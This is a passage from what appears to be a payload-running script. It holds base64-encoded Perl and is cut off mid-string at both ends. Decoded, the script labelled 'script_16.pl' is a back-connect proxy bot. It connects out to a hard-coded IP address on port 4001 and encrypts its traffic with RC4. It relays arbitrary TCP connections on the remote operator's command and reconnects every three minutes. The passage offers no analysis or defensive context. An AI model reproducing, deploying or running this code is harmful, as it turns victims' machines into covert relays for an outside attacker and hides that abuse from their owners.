CYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_16.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY1JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSA